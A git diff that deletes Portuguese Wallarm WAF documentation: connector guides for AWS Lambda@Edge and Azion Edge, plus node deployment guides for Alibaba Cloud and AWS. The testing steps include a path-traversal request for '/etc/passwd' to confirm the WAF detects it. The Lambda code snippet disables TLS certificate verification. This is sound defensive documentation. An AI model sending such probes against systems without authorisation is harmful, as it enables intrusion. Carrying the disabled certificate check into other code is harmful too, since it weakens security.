fornecer orientação e ajudar a resolver qualquer problema que você possa encontrar durante o processo de implementação. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cdn/aws-lambda.md b/docs/latest-pt-BR/installation/cdn/aws-lambda.md deleted file mode 100644 index 1c63ef612d..0000000000 --- a/docs/latest-pt-BR/installation/cdn/aws-lambda.md +++ /dev/null @@ -1,187 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# Wallarm Node.js para AWS Lambda - -[AWS Lambda@Edge](https://aws.amazon.com/lambda/edge/) é um serviço de computação sem servidor e orientado a eventos que permite que você execute código para vários tipos de aplicativos ou serviços de back-end sem a necessidade de provisionar ou gerenciar servidores. Ao incorporar o código Node.js do Wallarm, você pode direcionar o tráfego de entrada para o nó Wallarm para análise e filtragem. Este artigo fornece instruções sobre como configurar o Wallarm para análise e filtragem de tráfego especificamente para lambdas Node.js em seu aplicativo AWS. - - - -A solução envolve a implantação do nó Wallarm externamente e a injeção de código ou políticas personalizadas na plataforma específica. Isso permite que o tráfego seja direcionado para o nó Wallarm externo para análise e proteção contra possíveis ameaças. Referidos como conectores Wallarm, eles servem como o elo essencial entre plataformas como Azion Edge, Akamai Edge, MuleSoft, Apigee, e AWS Lambda, e o nó Wallarm externo. Essa abordagem garante integração contínua, análise segura de tráfego, mitigação de riscos e segurança geral da plataforma. - -## Casos de uso - -Entre todas as [opções de implantação do Wallarm](../supported-deployment-options.md) compatíveis, esta solução é recomendada para os seguintes casos de uso: - -* Proteger aplicativos na AWS que utilizam lambdas Node.js. -* Exigir uma solução de segurança que ofereça observação abrangente de ataques, relatórios e bloqueio instantâneo de solicitações maliciosas. - -## Limitações - -A solução tem certas limitações, pois só funciona com solicitações de entrada: - -* A descoberta de vulnerabilidades usando o método de [detecção passiva](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) não funciona adequadamente. A solução determina se uma API é vulnerável ou não com base nas respostas do servidor a solicitações maliciosas que são típicas para as vulnerabilidades que ela testa. -* A [Descoberta de API do Wallarm](../../api-discovery/overview.md) não pode explorar o inventário da API com base no seu tráfego, pois a solução depende da análise da resposta. -* A [proteção contra navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) não está disponível, pois exige análise do código de resposta. - -Existem também outras limitações: - -* O tamanho do corpo do pacote HTTP é limitado a 40 KB quando interceptado no nível de solicitação do visualizador e 1MB no nível de solicitação de origem. -* O tempo máximo de resposta do nó Wallarm é limitado a 5 segundos para solicitações do visualizador e 30 segundos para solicitações de origem. -* O Lambda@Edge não funciona dentro de redes privadas (VPC). -* O número máximo de solicitações processadas simultaneamente por região é 1.000 (Quota Padrão), mas pode ser aumentado para dezenas de milhares. - -## Requisitos - -Para prosseguir com a implantação, certifique-se de que você atende aos seguintes requisitos: - -* Entendimento das tecnologias AWS Lambda. -* APIs ou tráfego rodando na AWS. - -## Implementação - -Para proteger com Wallarm aplicações na AWS que usam lambdas Node.js, siga estas etapas: - -1. Implemente um nó Wallarm na instância AWS. -1. Obtenha o script Node.js do Wallarm para AWS Lambda e execute-o. - -### 1. Implementar um nó Wallarm - -Ao integrar o Wallarm com o AWS Lambda, o fluxo de tráfego opera [in-line](../inline/overview.md). Portanto, escolha um dos artefatos de implementação do nó Wallarm suportados para implementação em linha na AWS: - -* [AWS AMI](../packages/aws-ami.md) -* [Amazon Elastic Container Service (ECS)](../cloud-platforms/aws/docker-container.md) - -Configure o nó implementado usando o seguinte template: - -``` -server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } -} - -server { - listen 443 ssl; - - server_name yourdomain-for-wallarm-node.tld; - - ### SSL configuration here - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } -} - - -server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-Lambda-Real-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } -} -``` - -Por favor, certifique-se de prestar atenção nas seguintes configurações: - -* Certificados TLS/SSL para tráfego HTTPS: Para permitir que o nó Wallarm trate o tráfego HTTPS seguro, configure os certificados TLS/SSL de acordo. A configuração específica dependerá do método de implementação escolhido. Por exemplo, se você estiver usando o NGINX, pode consultar [o seu artigo](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) para obter orientação. -* Configuração do [modo de operação do Wallarm](../../admin-en/configure-wallarm-mode.md). - -### 2. Obtenha o script Node.js do Wallarm para AWS Lambda e execute-o - -Para adquirir e executar o script Node.js do Wallarm na AWS Lambda, siga estas etapas: - -1. Entre em contato com [support@wallarm.com](mailto:support@wallarm.com) para obter o Node.js do Wallarm. -1. [Crie](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html) uma nova política IAM com as seguintes permissões: - - ``` - lambda:CreateFunction, - lambda:UpdateFunctionCode, - lambda:AddPermission, - iam:CreateServiceLinkedRole, - lambda:GetFunction, - lambda:UpdateFunctionConfiguration, - lambda:DeleteFunction, - cloudfront:UpdateDistribution, - cloudfront:CreateDistribution, - lambda:EnableReplication. - ``` -1. No serviço AWS Lambda, crie uma nova função usando Node.js 14.x como tempo de execução e a função criada na etapa anterior. Escolha **Criar uma nova função com permissões básicas de Lambda**. -1. No editor de código fonte, cole o código recebido da equipe de suporte do Wallarm. -1. No código colado, atualize os valores `WALLARM_NODE_HOSTNAME` e `WALLARM_NODE_PORT` para apontar para o [nó Wallarm previamente implementado](#1-implementar-um-nó-wallarm). - - Para enviar o tráfego para o nó de filtragem via 443/SSL, use a seguinte configuração: - - ``` - const WALLARM_NODE_PORT = '443'; - - var http = require('https'); - ``` - Se você estiver usando um certificado autoassinado, faça a seguinte alteração para desativar a aplicação rigorosa de certificado: - - ``` - var post_options = { - host: WALLARM_NODE_HOSTNAME, - port: WALLARM_NODE_PORT, - path: request.uri + request.querystring, - method: request.method, - // only need if self-signed cert - rejectUnauthorized: false, - // - headers: newheaders - - }; - ``` -1. Volte para a seção IAM e edite a função recém-criada anexando as seguintes políticas: `AWSLambda_FullAccess`, `AWSLambdaExecute`, `AWSLambdaBasicExecutionRole`, `AWSLambdaVPCAccessExecutionRole`, e `LambdaDeployPermissions` criada na etapa anterior. -1. Em Trust relationships, adicione a seguinte alteração ao **Service**: - - ``` - "Service": [ - "edgelambda.amazonaws.com", - "lambda.amazonaws.com" - ] - ``` -1. Navegue até Lambda → Functions → e clique **Add Trigger**. -1. Nas opções de Deploy to Lambda@Edge, clique **Deploy to Lambda@Edge** e selecione a CloudFront Distribution que precisa ter o handler Wallarm adicionado ou crie uma nova. - - Durante o processo, escolha o **Viewer request** para o evento CloudFront e marque a caixa para **Include body**. - -## Testando - -Para testar a funcionalidade da política implementada, siga estas etapas: - -1. Envie a solicitação com o ataque de teste [Path Traversal][ptrav-attack-docs] para sua API: - - ``` - curl http:///etc/passwd - ``` -1. Abra Wallarm Console → seção **Events** no [US Cloud](https://us1.my.wallarm.com/attacks) ou [EU Cloud](https://my.wallarm.com/attacks) e certifique-se de que o ataque está exibido na lista. - - ![Ataques na interface][attacks-in-ui-image] - - Se o modo de nó Wallarm estiver configurado para bloqueio, a solicitação também será bloqueada. - -## Precisa de ajuda? - -Se você encontrar algum problema ou precisar de ajuda com a implantação descrita do Wallarm em conjunto com a AWS Lambda, pode entrar em contato com a equipe de suporte do [Wallarm](mailto:support@wallarm.com). Eles estão disponíveis para fornecer orientação e ajudar a resolver quaisquer problemas que você possa enfrentar durante o processo de implementação. diff --git a/docs/latest-pt-BR/installation/cdn/azion-edge.md b/docs/latest-pt-BR/installation/cdn/azion-edge.md deleted file mode 100644 index a7ea7c56c9..0000000000 --- a/docs/latest-pt-BR/installation/cdn/azion-edge.md +++ /dev/null @@ -1,136 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# Firewall Azion Edge com Funções Wallarm - -As [Funções Edge da Azion](https://www.azion.com/en/products/edge-functions/) permitem a execução de código personalizado na borda da rede, possibilitando a implementação de regras do cliente para lidar com solicitações. Ao incorporar código personalizado da Wallarm, o tráfego de entrada pode ser proxy para o nó Wallarm para análise e filtragem. Esta configuração realça as medidas de segurança já fornecidas pelo [Firewall Edge da Azion](https://www.azion.com/en/products/edge-firewall/). Este guia fornece instruções sobre como integrar o nó Wallarm com a Azion Edge para proteger os serviços em execução na Azion Edge. - -A solução implica a implementação do nó Wallarm externamente e a injeção de código personalizado ou políticas na plataforma específica. Isso permite que o tráfego seja direcionado para o nó Wallarm externo para análise e proteção contra possíveis ameaças. Chamadas de conectores Wallarm, elas servem como o link essencial entre plataformas como Azion Edge, Akamai Edge, MuleSoft, Apigee e AWS Lambda, e o nó Wallarm externo. Essa abordagem garante integração perfeita, análise de tráfego segura, mitigação de risco e segurança geral da plataforma. - -## Casos de uso - -Dentre todas as [opções de implementação Wallarm suportadas](../supported-deployment-options.md), esta solução é a recomendada para os seguintes casos de uso: - -* Proteger APIs ou tráfego em execução na Azion Edge. -* Necessidade de uma solução de segurança que ofereça observação abrangente de ataques, relatórios e bloqueio instantâneo de solicitações mal-intencionadas. - -## Limitações - -A solução tem determinadas limitações, pois só funciona com solicitações de entrada: - -* A descoberta das vulnerabilidades utilizando o método de [detecção passiva](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) não funciona corretamente. A solução determina se uma API é vulnerável ou não baseada em respostas do servidor à solicitações maliciosas típicas para vulnerabilidades que ela testa. -* O [Wallarm API Discovery](../../api-discovery/overview.md) não pode explorar o inventário de API baseado em seu tráfego, uma vez que a solução depende de análise de resposta. -* A [proteção contra a navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) não está disponível, uma vez que requer uma análise do código de resposta. - -## Requisitos - -Para prosseguir com a implementação, certifique-se de que atende aos seguintes requisitos: - -* Compreensão das tecnologias Azion Edge -* APIs ou tráfego em execução na Azion Edge. - -## Implementação - -Para proteger APIs na Azion Edge com a Wallarm, siga estas etapas: - -1. Implemente um nó Wallarm usando uma das opções de implementação disponíveis. -1. Obtenha o código Wallarm para Funções Edge e execute-o na Azion. - -### 1. Implementar um nó Wallarm - -Ao utilizar a Wallarm na Azion Edge, o fluxo de tráfego é [inline](../inline/overview.md). - -1. Escolha uma das [soluções de implementação de nó Wallarm suportadas ou artefatos](../supported-deployment-options.md#in-line) para implementação inline e siga as instruções de implementação fornecidas. -1. Configure o nó implementado usando o seguinte template: - - ``` - server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - server { - listen 443 ssl; - - server_name yourdomain-for-wallarm-node.tld; - - ### SSL configuration here - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - - server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-EDGEWRK-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } - } - ``` - - Por favor, preste atenção nas seguintes configurações: - - * Certificados TLS/SSL para tráfego HTTPS: Para permitir que o nó Wallarm lide com tráfego seguro HTTPS, configure os certificados TLS/SSL de acordo. A configuração específica dependerá do método de implementação escolhido. Por exemplo, se você estiver usando NGINX, você pode se referir ao [seu artigo](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) para orientação. - * Configuração do [modo de operação Wallarm](../../admin-en/configure-wallarm-mode.md). -1. Uma vez que a implementação esteja completa, anote o IP da instância do nó, pois você precisará dele depois para definir o endereço para o encaminhamento de solicitações de entrada. - -### 2. Obter o código Wallarm para Funções Edge e executá-lo na Azion - -Para adquirir e executar o código Wallarm para Funções Edge da Azion, siga estas etapas: - -1. Entre em contato com [support@wallarm.com](mailto:support@wallarm.com) para obter o código Wallarm. -1. Na Azion Edge, vá para **Billing & Subscriptions** e ative a assinatura em **Application Acceleration** e **Edge Functions**. -1. Crie uma nova **Aplicação Edge** e salve-a. -1. Abra a aplicação criada → **Main Settings** e habilite **Application Acceleration** e **Edge Functions**. -1. Navegue até **Domains** e clique em **Add Domain**. -1. Navegue até **Edge Functions**, clique em **Add Function** e escolha o tipo `Edge Firewall`. -1. Cole o código de fonte Wallarm substituindo `wallarm.node.tld` pelo endereço do [nó Wallarm implantado previamente](#1-deploy-a-wallarm-node). -1. Vá para **Edge Firewall** → **Add Rule Set** → digite **Name** → selecione **Domains** e ligue **Edge Functions**. -1. Alterne para a aba **Functions**, clique em **Add Function** e selecione a função criada anteriormente. -1. Alterne para a aba **Rules Engine** → **New Rule** e defina os critérios para o tráfego a ser filtrado pelo Wallarm: - - * Para analisar e filtrar todas as solicitações, selecione `If Request URI starts with /`. - * Em **Behaviors**, escolha `Then Run Function` e selecione a função criada anteriormente. - -## Testando - -Para testar a funcionalidade da política implementada, siga estas etapas: - -1. Envie a solicitação com o ataque de teste [Path Traversal][ptrav-attack-docs] para a sua API: - - ``` - curl http:///etc/passwd - ``` -1. Abra o Console Wallarm → seção **Events** no [US Cloud](https://us1.my.wallarm.com/attacks) ou [EU Cloud](https://my.wallarm.com/attacks) e verifique se o ataque está exibido na lista. - - ![Attacks in the interface][attacks-in-ui-image] - - Se o modo do nó Wallarm estiver definido para bloqueio, a solicitação também será bloqueada. - -## Precisa de ajuda? - -Se você encontrar algum problema ou precisar de ajuda com a implementação descrita da Wallarm em conjunto com a Azion Edge, pode contatar a equipe de [suporte Wallarm](mailto:support@wallarm.com). Eles estão disponíveis para fornecer orientações e ajudar a resolver quaisquer problemas que você enfrentar durante o processo de implementação. diff --git a/docs/latest-pt-BR/installation/cloud-platforms/alibaba-cloud/deb-rpm-packages.md b/docs/latest-pt-BR/installation/cloud-platforms/alibaba-cloud/deb-rpm-packages.md deleted file mode 100644 index 36a2c4154f..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/alibaba-cloud/deb-rpm-packages.md +++ /dev/null @@ -1,58 +0,0 @@ -# Instalação do nó de filtragem a partir de pacotes DEB ou RPM no Alibaba Cloud - -Este breve guia fornece as etapas para instalar o nó de filtragem a partir dos pacotes de origem em uma instância separada do Alibaba Cloud. Seguindo este guia, você criará uma instância a partir da imagem do sistema operacional suportada e instalará o nó de filtragem da Wallarm neste sistema operacional. - -!!! aviso "Limitações das instruções" - Estas instruções não cobrem a configuração do balanceamento de carga e do autoscaling do nó. Se estiver configurando esses componentes por conta própria, recomendamos que você revise as [instruções no Alibaba Cloud Elastic Compute Service (ECS)](https://www.alibabacloud.com/product/ecs). - -## Requisitos - -* Acesso ao [Console do Alibaba Cloud](https://account.alibabacloud.com/login/login.htm) -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Console da Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) - -## Opções de instalação do nó de filtragem - -Como o nó de filtragem opera como o servidor web ou módulo do [gateway de API](https://www.wallarm.com/what/the-concept-of-an-api-gateway), os pacotes do servidor web ou gateway de API devem ser instalados no sistema operacional junto com os pacotes do nó de filtragem. - -Você pode selecionar o servidor web ou gateway de API mais adequado para a arquitetura de sua aplicação na seguinte lista: - -* [Instale o nó de filtragem como o módulo NGINX Stable](#instalando-o-no-de-filtragem-como-o-modulo-nginx-stable) -* [Instale o nó de filtragem como o módulo NGINX Plus](#instalando-o-no-de-filtragem-como-o-modulo-nginx-plus) - -## Instalando o nó de filtragem como o módulo NGINX Stable - -Para instalar o nó de filtragem como o módulo NGINX Stable na instância do Alibaba Cloud: - -1. Crie uma instância do Alibaba Cloud a partir da imagem do sistema operacional suportado pela Wallarm seguindo as [instruções do Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/87190.htm): - - * Debian 11.x Bullseye - * Ubuntu 18.04 Bionic - * Ubuntu 20.04 Focal - * Ubuntu 22.04 Jammy - * CentOS 7.x - * AlmaLinux - * Rocky Linux - * Oracle Linux 8.x -2. Conecte-se à instância criada seguindo as [instruções do Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/71529.htm). -3. Na instância, instale os pacotes do NGINX Stable e do nó de filtragem da Wallarm seguindo as [instruções da Wallarm](../../../installation/nginx/dynamic-module.md). - -Para instalar o módulo de pós-análise em uma instância separada, por favor, repita as etapas 1-2 e instale o módulo de pós-análise seguindo as [instruções da Wallarm](../../../admin-en/installation-postanalytics-en.md). - -## Instalando o nó de filtragem como o módulo NGINX Plus - -Para instalar o nó de filtragem como o módulo NGINX Plus na instância do Alibaba Cloud: - -1. Crie uma instância do Alibaba Cloud a partir da imagem do sistema operacional suportado pela Wallarm seguindo as [instruções do Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/87190.htm): - - * Debian 11.x Bullseye - * Ubuntu 18.04 Bionic - * Ubuntu 20.04 Focal - * Ubuntu 22.04 Jammy - * CentOS 7.x - * AlmaLinux - * Rocky Linux - * Oracle Linux 8.x -2. Conecte-se à instância criada seguindo as [instruções do Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/71529.htm). -3. Na instância, instale os pacotes do NGINX Plus e do nó de filtragem da Wallarm seguindo as [instruções da Wallarm](../../../installation/nginx/dynamic-module.md). - -Para instalar o módulo de pós-análise em uma instância separada, por favor, repita as etapas 1-2 e instale o módulo de pós-análise seguindo as [instruções da Wallarm](../../../admin-en/installation-postanalytics-en.md). \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/alibaba-cloud/docker-container.md b/docs/latest-pt-BR/installation/cloud-platforms/alibaba-cloud/docker-container.md deleted file mode 100644 index 17035fbc4c..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/alibaba-cloud/docker-container.md +++ /dev/null @@ -1,146 +0,0 @@ -# Implantação da Imagem Docker Wallarm na Alibaba Cloud - -Este guia rápido fornece os passos para implantar a [Imagem Docker do nó Wallarm baseado em NGINX](https://hub.docker.com/r/wallarm/node) na plataforma Alibaba Cloud usando o [Serviço de Computação Elástica (ECS) da Alibaba Cloud](https://www.alibabacloud.com/product/ecs). - -!!! warning "Limitações das instruções" - Estas instruções não cobrem a configuração de balanceamento de carga e autoescala de nó. Se você está configurando esses componentes por conta própria, recomendamos que leia a [documentação apropriada da Alibaba Cloud](https://www.alibabacloud.com/help/product/27537.htm?spm=a2c63.m28257.a1.82.dfbf5922VNtjka). - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md" - -## Requisitos - -* Acesso ao [Console Alibaba Cloud](https://account.alibabacloud.com/login/login.htm) -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Wallarm Console para a [Nuvem EUA](https://us1.my.wallarm.com/) ou [Nuvem UE](https://my.wallarm.com/) - -## Opções para a configuração do contêiner Docker do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/docker-running-options.md" - -## Implantando o contêiner Docker do nó Wallarm configurado através de variáveis de ambiente - -Para implantar o nó de filtragem Wallarm contêinerizado configurado apenas através de variáveis de ambiente, você deve criar a instância da Alibaba Cloud e executar o contêiner Docker nesta instância. Você pode realizar esses passos através do Console Alibaba Cloud ou [CLI da Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/25499.htm). Nestas instruções, é usado o Console Alibaba Cloud. - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Abra o Console Alibaba Cloud → a lista de serviços → **Elastic Compute Service** → **Instâncias**. -1. Crie a instância seguindo as [instruções da Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/87190.htm?spm=a2c63.p38356.b99.137.77df24df7fJ2XX) e as diretrizes abaixo: - - * A instância pode se basear na imagem de qualquer sistema operacional. - * Como a instância deve estar disponível para recursos externos, o endereço IP público ou o domínio deve ser configurado nas configurações da instância. - * As configurações da instância devem refletir o [método usado para se conectar à instância](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l). -1. Conecte-se à instância por um dos métodos descritos na [documentação da Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l). -1. Instale os pacotes Docker na instância seguindo as [instruções para um sistema operacional apropriado](https://docs.docker.com/engine/install/#server). -1. Defina a variável de ambiente da instância com o token Wallarm copiado para ser usado para conectar a instância à Nuvem Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Execute o contêiner Docker do nó Wallarm usando o comando `docker run` com variáveis de ambiente passadas e arquivo de configuração montado: - - === "Comando para a Nuvem Wallarm EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e NGINX_BACKEND= -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:4.8.0-1 - ``` - === "Comando para a Nuvem Wallarm UE" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e NGINX_BACKEND= -p 80:80 wallarm/node:4.8.0-1 - ``` - - * `-p`: porta que o nó de filtragem escuta. O valor deve ser o mesmo que a porta da instância. - * `-e`: variáveis de ambiente com a configuração do nó de filtragem (variáveis disponíveis estão listadas na tabela abaixo). Observe que não é recomendado passar o valor de `WALLARM_API_TOKEN` explicitamente. - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-all-env-vars-latest.md" -1. [Teste a operação do nó de filtragem](#testing-the-filtering-node-operation). - -## Implantando o contêiner Docker do nó Wallarm configurado através do arquivo montado - -Para implantar o nó de filtragem Wallarm contêinerizado configurado através de variáveis de ambiente e arquivo montado, você deve criar a instância da Alibaba Cloud, localizar o arquivo de configuração do nó de filtragem no sistema de arquivos desta instância e executar o contêiner Docker nesta instância. Você pode realizar esses passos através do Console Alibaba Cloud ou [CLI da Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/25499.htm). Nestas instruções, será usado o Console Alibaba Cloud. - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Abra o Console Alibaba Cloud → a lista de serviços → **Elastic Compute Service** → **Instâncias**. -1. Crie a instância seguindo as [instruções da Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/87190.htm?spm=a2c63.p38356.b99.137.77df24df7fJ2XX) e as diretrizes abaixo: - - * A instância pode se basear na imagem de qualquer sistema operacional. - * Como a instância deve estar disponível para recursos externos, o endereço IP público ou domínio deve ser configurado nas configurações da instância. - * As configurações da instância devem refletir o [método usado para se conectar à instância](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l). -1. Conecte-se à instância por um dos métodos descritos na [documentação da Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l). -1. Instale os pacotes Docker na instância seguindo as [instruções para um sistema operacional apropriado](https://docs.docker.com/engine/install/#server). -1. Defina a variável de ambiente da instância com o token Wallarm copiado para ser usado para conectar a instância à Nuvem Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Na instância, crie o diretório com o arquivo `default` que contém a configuração do nó de filtragem (por exemplo, o diretório pode ser chamado de `configs`). Um exemplo do arquivo com configurações mínimas: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [Conjunto de diretivas de nó de filtragem que podem ser especificadas no arquivo de configuração →][nginx-waf-directives] -1. Execute o contêiner Docker do nó Wallarm usando o comando `docker run` com variáveis de ambiente passadas e arquivo de configuração montado: - - === "Comando para a Nuvem Wallarm EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_API_HOST='us1.api.wallarm.com' -v : -p 80:80 wallarm/node:4.8.0-1 - ``` - === "Comando para a Nuvem Wallarm UE" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -v : -p 80:80 wallarm/node:4.8.0-1 - ``` - - * ``: caminho para o arquivo de configuração criado na etapa anterior. Por exemplo, `configs`. - * ``: diretório do contêiner para montar o arquivo de configuração. Arquivos de configuração podem ser montados nos seguintes diretórios de contêiner usados pelo NGINX: - - * `/etc/nginx/conf.d` — configurações comuns - * `/etc/nginx/sites-enabled` — configurações de host virtual - * `/var/www/html` — arquivos estáticos - - As diretivas de nó de filtragem devem ser descritas no arquivo `/etc/nginx/sites-enabled/default`. - - * `-p`: porta que o nó de filtragem escuta. O valor deve ser o mesmo que a porta da instância. - * `-e`: variáveis de ambiente com a configuração do nó de filtragem (variáveis disponíveis estão listadas na tabela abaixo). Observe que não é recomendado passar o valor de `WALLARM_API_TOKEN` explicitamente. - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [Teste a operação do nó de filtragem](#testing-the-filtering-node-operation). - -## Testando a operação do nó de filtragem - -1. Abra o Console Alibaba Cloud → a lista de serviços → **Elastic Compute Service** → **Instâncias** e copie o endereço IP público da instância na coluna **Endereço IP**. - - ![Configurando a instância do contêiner][copy-container-ip-alibaba-img] - - Se o endereço IP estiver vazio, certifique-se de que a instância está no status **Running**. - -2. Envie a solicitação com o teste de ataque [Path Traversal][ptrav-attack-docs] ao endereço copiado: - - ``` - curl http:///etc/passwd - ``` -3. Abra o Console Wallarm → **Eventos** na [Nuvem EUA](https://us1.my.wallarm.com/attacks) ou [Nuvem UE](https://my.wallarm.com/attacks) e certifique-se de que o ataque está exibido na lista. - ![Ataques em UI][attacks-in-ui-image] - -Para visualizar detalhes sobre erros ocorridos durante a implantação do contêiner, por favor, [conecte-se à instância por um dos métodos](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l) e reveja os [logs do contêiner][logging-docs]. Se a instância estiver indisponível, certifique-se de que os parâmetros necessários do nó de filtragem com valores corretos foram passados para o contêiner. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/aws/ami.md b/docs/latest-pt-BR/installation/cloud-platforms/aws/ami.md deleted file mode 100644 index 03ca11ff32..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/aws/ami.md +++ /dev/null @@ -1,34 +0,0 @@ -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../../oob/overview.md#advantages-and-limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[inline-docs]: ../../inline/overview.md -[oob-docs]: ../../oob/overview.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-ami.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/aws/deb-rpm-packages.md b/docs/latest-pt-BR/installation/cloud-platforms/aws/deb-rpm-packages.md deleted file mode 100644 index f60a754f27..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/aws/deb-rpm-packages.md +++ /dev/null @@ -1,60 +0,0 @@ -# Instalação do nó de filtragem a partir de pacotes DEB ou RPM na AWS - -Este guia rápido fornece os passos para instalar o nó de filtragem a partir dos pacotes de fonte em uma instância Amazon EC2 separada. Ao seguir este guia, você criará uma instância a partir da imagem do sistema operacional suportado e instalará o nó de filtragem Wallarm neste sistema operacional. - 